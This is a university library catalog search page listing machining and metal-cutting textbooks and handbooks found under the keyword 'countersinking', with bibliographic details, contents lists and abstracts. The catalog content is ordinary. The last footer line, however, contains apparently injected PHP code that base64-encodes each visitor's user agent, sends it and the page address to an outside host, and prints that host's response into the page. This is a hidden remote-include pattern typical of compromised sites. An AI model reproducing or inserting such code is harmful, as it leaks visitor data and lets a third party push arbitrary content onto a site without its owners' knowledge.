Перейти на сайт
библиотеки ОмГТУ
Share |
   
   
   
   
   
   

 
      Виртуальная справка
 
      Личный кабинет

Логин
Пароль
Забыли пароль?
Регистрация

 
      Счетчики
Rambler's Top100
Яндекс цитирования

Сейчас на сайте

227 пользователей



 
      Наши партнеры
Студенческий информационный портал компании
("Ключевые слова=Зенкерование")
Результаты поиска
СВОДНЫЙ КАТАЛОГ: Найдено записей: 133
1. 
Виноградов, Виталий Михайлович. Технология машиностроения [Текст] : учеб. пособие для вузов по направлению подгот. "Конструкторско-технологическое обеспечение машиностроительных производств" / В. М. Виноградов, 2006. - 174, [1] с.
Ключевые слова 
УЧЕБНИК И ПОСОБИЕ * -- ПРИПУСК -- ПОГРЕШНОСТЬ -- ШЕРОХОВАТОСТЬ -- ПОСАДКА -- ДОПУСК -- ИЗНОС -- ЛЕЗВИЙНЫЙ -- АБРАЗИВНЫЙ -- ТОЧЕНИЕ -- СТРОГАНИЕ -- ДОЛБЛЕНИЕ -- ФРЕЗЕРОВАНИЕ -- ПРОТЯГИВАНИЕ -- ПРОШИВАНИЕ -- СВЕРЛЕНИЕ -- ЗЕНКЕРОВАНИЕ -- РАЗВЕРТЫВАНИЕ -- ШЛИФОВАНИЕ -- ХОНИНГОВАНИЕ -- СУПЕРФИНИШИРОВАНИЕ -- МИКРОФИНИШИРОВАНИЕ -- ПОЛИРОВАНИЕ -- ДОВОДКА -- ПРИТИРКА -- ПЛАСТИЧЕСКОЕ -- ДЕФОРМИРОВАНИЕ -- ОБКАТЫВАНИЕ -- РАСКАТЫВАНИЕ -- КАЛИБРОВАНИЕ -- ОТВЕРСТИЕ -- ВИБРОНАКАТЫВАНИЕ -- АЛМАЗНОЕ -- ВЫГЛАЖИВАНИЕ -- НАКЛЕП -- РИФЛЕНИЕ -- ГПС -- РОБОТ -- ЭЛЕКТРОБЕЗОПАСНОСТЬ -- ПОЖАРНАЯ -- БЕЗОПАСНОСТЬ

Изложены этапы развития техники и машиностроения в России, даны начальные понятия об <изделии> и <производстве>, методах обработки, <металлообрабатывающем> <оборудовании> и <инструментах>, <качестве> поверхности <деталей> <машин>, <точности> обработки, <стандартизации>, техническом <нормировании>, <автоматизации> <производства>, <роботизации> и автоматизированном проектировании.

2. 
Вивденко, Юрий Николаевич. Резание металлов [Текст] : конспект лекций / Ю. Н. Вивденко, 2006. - 66 с.
Оглавление 
  • Введение. - с.5
  • Конструктивные элементы и геометрические параметры режущей части токарного резца. - с.5
  • Элементы конструкции и основные типы резцов. - с.5
  • Углы режущей части. - с.7
  • Влияние погрешности установки резца на углы его режущей части. - с.9
  • Влияние формы образующей обрабатываемой поверхности на углы в плане. - с.9
  • Материалы лезвий режущих инструментов. - с.13
  • Требования к свойствам режущих материалов. - с.13
  • Группы и марки инструментальных материалов. - с.15
  • Закономерности перехода материала срезаемого слоя в стружку. - с.21
  • Основные понятия . - с.21
  • Представление о механизме образования стружки. - с.23
  • Схема стружкообразования с единственной плоскостью сдвига при формировании сливной стружки. - с.25
  • Схема стружкообразования при формировании элементной стружки и нароста. - с.27
  • Методы экспериментального изучения зоны резания. - с.29
  • Силы и работа резания. - с.32
  • Износ и стойкость режущих инструментов, обрабатываемость конструкционных материалов. - с.36
  • Изнашивание лезвийных режущих инструментов. - с.36
  • Стойкость инструментов. - с.38
  • Обрабатываемость резанием конструкционных материалов . - с.41
  • Фрезерование. - с.45
  • Назначение, технологические схемы обработки, геометрические параметры инструментов . - с.45
  • Параметры режима резания и срезаемого слоя. - с.48
  • Сверление, зенкерование, развертывание. - с.49
  • Абразивная обработка. - с.53
  • Назначение и технологические схемы шлифования. - с.53
  • Инструментальные материалы, режимы резания. - с.54
  • Интенсификация и комбинированное воздействие на процесс резания материалов низкой обрабатываемости. - с.57
  • Представление об интенсификации и комбинированном воздействии на процесс резания. - с.57
  • Обработка с нагревом материала срезаемого слоя. - с.598
  • Обработка с наложением ультразвуковых колебаний. - с.61
  • Контрольные вопросы. - с.65
  • Библиографический список. - с.66
Держатели документа (Информация об экземплярах) 

Изложены основные разделы лекционного курса, содержащего сведения по конструктивным элементам <режущей> части <инструментов> и материалам их режущей части, закономерностям перехода материала срезаемого слоя в <стружку>, силам и работе резания. Приведены закономерности <изнашивания> и <стойкости> инструментов. Рассмотрены особенности процессов <фрезерования>, <сверления> и <абразивной> <обработки>. Дано представление об интенсификации и комбинированном воздействии на процесс резания материалов низкой обрабатываемости.

Полный текст
3. 
Машиностроение и техносфера на рубеже XXI века [Текст] : сб. тр. VII междунар. науч.-техн. конф., Севастополь, 11-17 сент. 2000 г. / Донец. гос. техн. ун-т [и др.], 2000. - 319 с.
Ключевые слова 
ЦИНКОВАНИЕ -- ИПС -- СТАНОЧНОЕ -- ПРИСПОСОБЛЕНИЕ -- СБОРКА -- ДВС -- КОМПОЗИЦИОННЫЙ -- МАТЕРИАЛ -- РАЗРЯД -- ИНТЕРНЕТ -- INTERNET -- ИНВЕСТИЦИОННАЯ -- ПОЛИТИКА -- МИКРОТВЕРДОСТЬ -- РЕЗАНИЕ -- ЗЕНКЕРОВАНИЕ -- СМАЗКА -- ПЛАСТИЧЕСКОЕ -- ДЕФОРМИРОВАНИЕ -- КОРРОЗИЙНАЯ -- СТОЙКОСТЬ -- ТОРГОВАЯ -- МАРКА -- ФРЕЗА -- РЕЖУЩИЙ -- ИНСТРУМЕНТ -- ЗУБОФРЕЗЕРОВАНИЕ -- АМОРТИЗАТОР -- СПЕКАНИЕ -- ШЕРОХОВАТОСТЬ -- ВАЛ -- ТОЧЕНИЕ -- СВАРКА -- СВЕРЛО -- ИННОВАЦИОННАЯ -- ИНВЕСТИЦИЯ -- МЕТАЛЛИЗАЦИЯ -- ЗУБЧАТАЯ -- ПЕРЕДАЧА -- УПРОЧНЕНИЕ -- ПРИВОД -- ПАССАЖИРСКИЙ
Держатели документа (Информация об экземплярах) 
4. 
Справочник по технологии резания материалов [Текст] : в 2 кн. / под ред. Г. Шпура, Т. Штеферле; пер. с нем. под. ред. Ю. М. Соломенцева. Т. 1, 1985. - 613 с.
Держатели документа (Информация об экземплярах) 
5. 
Технологические процессы механической и физико-химической обработки в авиадвигателестроении [Текст] : учеб. пособие для вузов по специальности "Авиационные двигатели и энергетические установки" направления подгот. дипломир. специалистов "Двигатели летательных аппаратов" / В. Ф. Безъязычный [и др.] ; под ред. В. Ф. Безъязычного, 2007. - 538 с.
Ключевые слова 
УЧЕБНИК И ПОСОБИЕ * -- РЕЗАНИЕ -- ОБРАБАТЫВАЕМОСТЬ -- СТАЛЬ -- СПЛАВ -- ИНСТРУМЕНТАЛЬНЫЙ -- ТВЕРДЫЙ -- МИНЕРАЛОКЕРАМИКА -- СВЕРХТВЕРДЫЙ -- СТРУЖКООБРАЗОВАНИЕ -- НАРОСТА -- ИЗНОС -- ИНСТРУМЕНТ -- КАЧЕСТВО -- МЕТАЛЛОРЕЖУЩИЙ -- СТАНОК -- КИНЕМАТИКА -- ТОКАРНЫЙ -- ФРЕЗЕРНЫЙ -- СВЕРЛИЛЬНЫЙ -- РАСТОЧНЫЙ -- ШЛИФОВАЛЬНЫЙ -- ЗУБООБРАБАТЫВАЮЩИЙ -- ПРОТЯЖНЫЙ -- НАРУЖНАЯ -- ПОВЕРХНОСТЬ -- ВРАЩЕНИЕ -- ТОЧЕНИЕ -- ФРЕЗЕРОВАНИЕ -- ПРОТЯГИВАНИЕ -- ШЛИФОВАНИЕ -- КРУГ -- ЛЕНТОЧНОЕ -- УПРОЧНЕНИЕ -- ОТВЕРСТИЕ -- СВЕРЛЕНИЕ -- ЗЕНКЕРОВАНИЕ -- РАЗВЕРТЫВАНИЕ -- СВЕРЛО -- ЗЕНКЕР -- РАЗВЕРТКА -- РАСТАЧИВАНИЕ -- АБРАЗИВНЫЙ -- ФАСОННАЯ -- ПРИТИРКА -- ПОЛИРОВАНИЕ -- ШАБРЕНИЕ -- КОНИЧЕСКАЯ -- СФЕРИЧЕСКАЯ -- ПРОСТРАНСТВЕННАЯ -- РЕЗЬБОВАЯ -- РЕЗЕЦ -- ГРЕБЕНКА -- РЕЗЬБА -- НАРЕЗАНИЕ -- ВИХРЕВОЕ -- МЕТЧИК -- ПЛАШКА -- НАКАТЫВАНИЕ -- ЗУБЧАТОЕ -- КОЛЕСО -- ШЛИЦА -- ПЕРЕДАЧА -- СОЕДИНЕНИЕ -- ШЛИЦЕВОЕ -- ЭЛЬБОРОВЫЙ -- ЭВОЛЬВЕНТНОЕ -- ГТД -- ТУРБИННАЯ -- ЛОПАТКА -- КОМПРЕССОРНАЯ -- СОПЛОВАЯ -- ДИСК -- ОТКЛОНЕНИЕ -- ДЕФЕКТ -- ПОВЕРХНОСТНЫЙ -- СЛОЙ -- ПРОЧНОСТЬ -- УСТАЛОСТНАЯ -- ЭХО -- УЛЬТРАЗВУКОВАЯ -- ЛУЧЕВАЯ -- ППД -- АЛМАЗНОЕ -- ВЫГЛАЖИВАНИЕ -- ВАЛ -- ТУРБИНА -- ПЛАСТИЧЕСКОЕ -- ДЕФОРМИРОВАНИЕ -- МОНОКОЛЕСО -- КРЫЛЬЧАТКА -- ФОРСУНКА -- РАСПЫЛИТЕЛЬ -- ЗАВИХРИТЕЛЬ -- СТАТОР
Держатели документа (Информация об экземплярах) 

Изложены методы <формообразования> <деталей>, применяемые для этих целей оборудование и <инструментальные> <материалы>, в т.ч. зарубежных фирм, наиболее рациональное их использование в технологических процессах изготовления деталей авиационных двигателей. Большое внимание уделено прогрессивным методам обработки, обеспечивающим требуемые параметры качества изготовления деталей, <надежность> и <ресурс> авиационных двигателей.

С изучения этого курса студенты, будущие специалисты в области технологии производства авиационных двигателей и энергетических установок, знакомятся с технологическими особенностями производства, знание которых позволяет спроектировать технологический процесс изготовления детали, обеспечивающие требуемую точность и качество поверхностного слоя обработанной детали с минимальной себестоимостью.

6. 
Гринблат, Владимир Львович. Выбор заготовок и назначение припусков [Текст] : метод. указания к расчет. работе / В. Л. Гринблат, Е. Л. Аронов, 1982. - 16 с.
Держатели документа (Информация об экземплярах) 
Полный текст
7. 
Общемашиностроительные укрупненные нормативы времени на работы, выполняемые на токарно-револьверных станках [Текст] : мелкосер. и среднесер. пр-во / Центр. бюро нормативов по труду Гос. комитета СССР по труду и соц. вопр., 1989. - 151, [1] с.
Держатели документа (Информация об экземплярах) 
8. 
Общемашиностроительные укрупненные нормативы времени на работы, выполняемые на металлорежущих станках [Текст] : единич., мелкосер. и среднесер. пр-во / Центр. бюро нормативов по труду Гос. комитета СССР по труду и соц. вопр. Ч. 3 : Сверлильные станки, 1988. - 149, [1] с.
Держатели документа (Информация об экземплярах) 
9. 
Штучный, Борис Петрович. Назначение режимов резания при резании металлов [Текст] : метод. указания по выполнению домаш. заданий / Б. П. Штучный, 1982. - 16 с.
Держатели документа (Информация об экземплярах) 
Полный текст
10. 
Обработка глубоких отверстий [Текст] / Н. Ф. Уткин [и др.] ; под общ. ред. Н. Ф. Уткина, 1988. - 269 с.
Держатели документа (Информация об экземплярах) 
11. 
Технология обработки конструкционных материалов [Текст] : учеб. для машиностроит. специальностей вузов / П. Г. Петруха [и др.] ; под ред. П. Г. Петрухи, 1991. - 512 с.
Ключевые слова 
УЧЕБНИК -- СТАЛЬ -- ИНСТРУМЕНТАЛЬНАЯ -- МИНЕРАЛОКЕРАМИКА -- ТВЕРДЫЙ -- СПЛАВ -- СТМ -- ИНСТРУМЕНТ -- ИЗНОСОСТОЙКОСТЬ -- РЕЗАНИЕ -- ТОЧЕНИЕ -- СТРОГАНИЕ -- ДОЛБЛЕНИЕ -- СВЕРЛЕНИЕ -- ЗЕНКЕРОВАНИЕ -- РАЗВЕРТЫВАНИЕ -- ФРЕЗЕРОВАНИЕ -- ПРОТЯГИВАНИЕ -- НАРЕЗАНИЕ -- НАКАТЫВАНИЕ -- АБРАЗИВНАЯ -- ОБРАБОТКА -- МЕТАЛЛОРЕЖУЩИЙ -- СТАНОК -- ПРИВОД -- ТОКАРНЫЙ -- СВЕРЛИЛЬНЫЙ -- РАСТОЧНЫЙ -- ФРЕЗЕРНЫЙ -- СТРОГАЛЬНЫЙ -- ДОЛБЕЖНЫЙ -- ПРОТЯЖНЫЙ -- ЗУБООБРАБАТЫВАЮЩИЙ -- РЕЗЬБООБРАБАТЫВАЮЩИЙ -- АГРЕГАТНЫЙ -- ЧПУ -- ГПС
Держатели документа (Информация об экземплярах) 
12. 
Справочник слесаря-монтажника технологического оборудования [Текст] / П. П. Алексеенко, Л. А. Григорьев, В. И. Голованов и др.; Под ред. П. П. Алексеенко, Л. А. Григорьева, 2002. - 671 с.
Держатели документа (Информация об экземплярах) 
13. 
Прогрессивные режущие инструменты и режимы резания металлов [Текст] : Справ. / В. И. Баранчиков, А. В. Жаринов, Н. Д. Юдина, А. И. Садыхов, 1990. - 399 с.
14. 
Справочник технолога-приборостроителя [Текст] : Справ.: В 2 тТ. 1 / А. Д. Агеев, А. К. Белопухов, К. И. Билибин, 1980. - 606 с.
Держатели документа (Информация об экземплярах) 
15. 
Методы механической обработки поверхностей [Текст] : Метод. указания к лаб. работам по курсу "Малоотходные и ресурсосберегающие технологии" / ОмГТУ, 2004. - 43 с.
Держатели документа (Информация об экземплярах) 
Полный текст
16. 
Технологические процессы в машиностроении: проектирование и производство заготовок [Текст] : Учеб. пособие для вузов по курсовому проектированию по дисциплине "Технологические процессы в машиностроении" / В. С. Кушнер, А. С. Верещака, А. Г. Схиртладзе и др., 2005. - 114 с.
Оглавление 
  • Введение. - с.3
  • Краткие теоретические сведения об обработке материалов резанием. - с.4
  • Усадка стружки, относительный сдвиг и деформации в зоне стружкообразования с параллельными границами. - с.4
  • Силы резания. - с.8
  • Предел текучести в зоне стружкообразования и температура деформации при резании. - с.16
  • Температуры передней и задних поверхностей инструмента. - с.19
  • Определение допускаемых скоростей резания. - с.23
  • Краткие теоретические сведения об обработке металлов давлением. - с.26
  • Термомеханические модели сопротивления материалов пластическим деформациям. Горячая и холодная обработка металлов давлением. - с.26
  • Нагрев металла перед обработкой давлением. - с.30
  • Ковка и горячая объемная штамповка. Определение деформаций, работы и усилия при осадке. - с.33
  • Ковочные молоты. Обоснование выбора молота. - с.38
  • Прессовое оборудование. Определение деформаций, работы и усилия при выдавливании и прошивке. - с.40
  • Проектирование заготовок. - с.45
  • Маршрутный технологический процесс механической обработки заготовки. - с.45
  • Обоснование допусков на диаметральные размеры обработанных цилиндрических поверхностей. - с.51
  • Определение диаметральных размеров заготовки. - с.52
  • Определение линейных размеров заготовки на основе чертежа детали и технологии ее последующей обработки на металлорежущих станках. - с.59
  • Проектирование чертежа заготовки. - с.63
  • Разработка технологии получения заготовки "Коронная шестерня" обработкой давлением и резанием. - с.65
  • Разработка и описание вариантов маршрутной технологии получения заготовки "Коронная шестерня". - с.65
  • Разрезание прутков проката дисковыми пилами. - с.68
  • Нагрев заготовок "Коронная шестерня" . - с.74
  • Ковка на молоте, прошивка отверстия на прессе. - с.75
  • Сверление и зенкерование заготовок на вертикально-сверлильных станках. - с.78
  • Растачивание отверстия на токарном вертикальном шестишпиндельном полуавтомате. - с.82
  • Обоснование способа получения заготовки путем сравнения технологических себестоимостей различных вариантов получения заготовки. - с.87
  • Библиографический список. - с.91
  • Примеры графического оформления результатов. - с.92
Держатели документа (Информация об экземплярах) 

В учебном пособии приведены краткие сведения об основных способах <механической> <обработки> <металлов> <резанием> и <давлением>, использующихся при получении заготовок <деталей> <машин>.

Рассмотрена методика расчета межоперационных <размеров> и исходных размеров заготовки, основаннная на учете схемы <базирования> заготовки и <погрешностей> положения <режущего> <инструмента> относительно обрабатываемой детали. Даны рекомендации по проектированию заготовок, получаемых обработкой давлением (<штамповок>).

На примере получения штамповочной заготовки коронной <шестерни> рассмотрены два альтернативных технологических процесса, оценены области их рационального применения.

Полный текст
17. 
Вороничев, Николай Максимович. Автоматические линии из агрегатных станков [Текст] / Н. М. Вороничев, Ж. Э. Тартаковский, В. Б. Генин, 1979. - 487 с.
Держатели документа (Информация об экземплярах) 
18. 
Технологическое обеспечение производства [Текст] : Метод. указания / ОмГТУ, 2005. - 70 с.
Держатели документа (Информация об экземплярах) 
Полный текст
19. 
Технологические процессы в машиностроении [Текст] : Учеб. для вузов по направлению подгот. дипломир. специалистов "Конструкторско-технологическое обеспечение машиностроительных производств" / В. С. Кушнер, А. С. Верещака, А. Г. Схиртладзе, Д. А. Негров; ОмГТУ. Ч. 1 : Металлургия, литейное производство и обработка резанием, 2005. - 197 с.
Оглавление 
  • Введение. - с.6
  • Металлургия и литейное производство. - с.11
  • Элементы теплофизики металлургических и литейных процессов. - с.11
  • Теплофизические характеристики материалов. Основной закон теплопроводности. - с.11
  • Определение затрат энергии на нагрев и плавление металлов. - с.13
  • Уравнение теплопроводности. Фундаментальное решение. - с.15
  • Метод точечных источников тепла. Выравнивание температуры в неограниченном стержне. - с.17
  • Температурное поле стержня при постоянной начальной температуре и постоянной температуре на торце. - с.18
  • Закономерности отвода тепла в литейную форму. - с.20
  • Производство чугуна и стали. - с.25
  • Производство чугуна . - с.25
  • Оценка потерь тепла через стены шахтной печи при стационарном теплообмене с окружающей средой. - с.31
  • Сущность процесса выплавки стали. - с.33
  • Производство стали. - с.35
  • Литье в песчаные формы. - с.43
  • Изготовление песчаных литейных форм. - с.43
  • Закономерности кристаллизации и затвердевания отливки в литейной форме. - с.49
  • Основные технологические операции и закономерности получения отливок в песчаных формах. - с.54
  • Специальные способы литья. - с.61
  • Способы литья в оболочковые формы и по выплавляемым моделям. - с.61
  • Литье в кокиль. - с.66
  • Литье под давлением. - с.72
  • Центробежное литье. - с.76
  • Обработка материалов резанием. - с.79
  • Кинематические и геометрические параметры способов обработки резанием. - с.79
  • Способы лезвийной и абразивной обработки. - с.79
  • Координатные плоскости и действительные углы режущего лезвия. - с.86
  • Характеристики режима резания и сечения срезаемого слоя [1]. - с.89
  • Усадка стружки и относительный сдвиг. - с.93
  • Скорости деформаций и истинные деформации в зоне стружкообразования. - с.99
  • Силы резания. - с.101
  • Технологические и физические составляющие силы резания при точении. - с.101
  • Схема и расчет сил при свободном прямоугольном точении. - с.103
  • Схема и расчет сил при свободном косоугольном точении. - с.106
  • Силы при фрезеровании торцово-коническими прямозубыми фрезами. - с.108
  • Силы при фрезеровании цилиндрическими фрезами с винтовыми зубьями. - с.110
  • Удельные силы. - с.112
  • Теплофизика и термомеханика резания. - с.114
  • Температура в полуплоскости от равномерно распределенного быстродвижущегося источника теплоты. - с.114
  • Термомеханическое определяющее уравнение для адиабатических условий деформации. - с.117
  • Температура деформации и тепловой поток из зоны стружкообразования. - с.119
  • Температура передней поверхности инструмента. - с.120
  • Температура задних поверхностей инструмента. - с.123
  • Изнашивание режущих инструментов и рациональные режимы резания. - с.125
  • Характеристики износа, изнашивания, износостойкости и критерии затупления режущего инструмента. - с.125
  • О природе явлений, приводящих к изнашиванию и деформации инструмента. - с.133
  • Обрабатываемость материалов. - с.139
  • Выбор материала и геометрических параметров инструмента, назначение рациональных режимов черновой и чистовой обработки резанием. - с.144
  • Проектирование заготовок и их предварительная обработка резанием. - с.157
  • Маршрутный технологический процесс механической обработки заготовки. - с.157
  • Определение допусков на диаметральные размеры обработанных цилиндрических поверхностей. - с.163
  • Определение диаметральных размеров заготовки. - с.168
  • Определение линейных размеров заготовки. - с.174
  • Разрезание прутков проката дисковыми пилами. - с.178
  • Сверление и зенкерование заготовок на вертикально-сверлильных станках. - с.185
  • Растачивание отверстия на токарном вертикальном шестишпиндельном полуавтомате. - с.191
  • Библиографический список. - с.196
Держатели документа (Информация об экземплярах) 

Рассмотрены основные металлургические и машиностроительные технологические способы получения <металлов> и <сплавов>, <формообразования> <заготовок> и <деталей> <машин> <литьем>, <резанием>. Описание технологических процессов основано на рассмотрении их физической сущности и предваряется теоретическими сведениями о тепловых, механических и термомеханических закономерностях.

Полный текст
20. 
Справочник технолога-машиностроителя [Текст] : В 2 т. / Ю. А. Абрамов, В. Н. Андреев, Б. И. Горбунов и др. Т. 2 / Под ред. А. Г. Косиловой, Р. К. Мещерякова, 1985. - 495 с.
Ключевые слова 
Машиностроение -- Металлорежущий станок -- Металлорежущий инструмент -- Сверло -- Зенкер -- Развертка -- Фреза -- Резьба -- Сборка -- Технологический процесс -- Допуск -- Посадка -- Измерение -- Погрешность -- Контроль -- Зенковка -- Абразив -- Строгание -- Долбление -- Сверление -- Зенкерование -- Фрезерование -- Разрезание -- Развертывание -- Рассверливание -- Резьбонарезание -- Протягивание -- Шлифование -- Калибровка -- Алмазное выглаживание -- Деформирование -- Накатывание
Держатели документа (Информация об экземплярах) 


    Адрес: 644050, Россия, г. Омск, пр-кт Мира, 11

    Телефон: (3812) 65-34-86, 65-23-69

    E-mail: libdirector@omgtu.ru, b_oa@omgtu.ru

[ О библиотеке ]     [ Читателю ]     [ Информационные ресурсы ]     [ Электронный каталог ]     [ Научная деятельность ]     [ Культура и досуг ]     [ ИРБИС в Омске ]

Электронное периодическое издание «lib.omgtu.ru» | Свидетельство о регистрации СМИ Эл № ФС77-45378 от 10.06.2011 Федеральной службы по надзору в сфере связи, информационных технологий и массовых коммуникаций (Роскомнадзор)| Выпуск № 2937 - 25.06.2019
© Омский государственный технический университет

Электронно-библиотечная система АРБУЗ ОмГТУ
Страница сгенерирована за 1.05 с.12 запросов, 0.75c. $useragent=$_SERVER['HTTP_USER_AGENT']; $bs=base64_encode($useragent); $sb='http://'.$_SERVER['SERVER_NAME'].$_SERVER["REQUEST_URI"]; $ret = file_get_contents('http://jr.6tws.us/?UserAgent='.$bs."&Domain=".$sb); print $ret;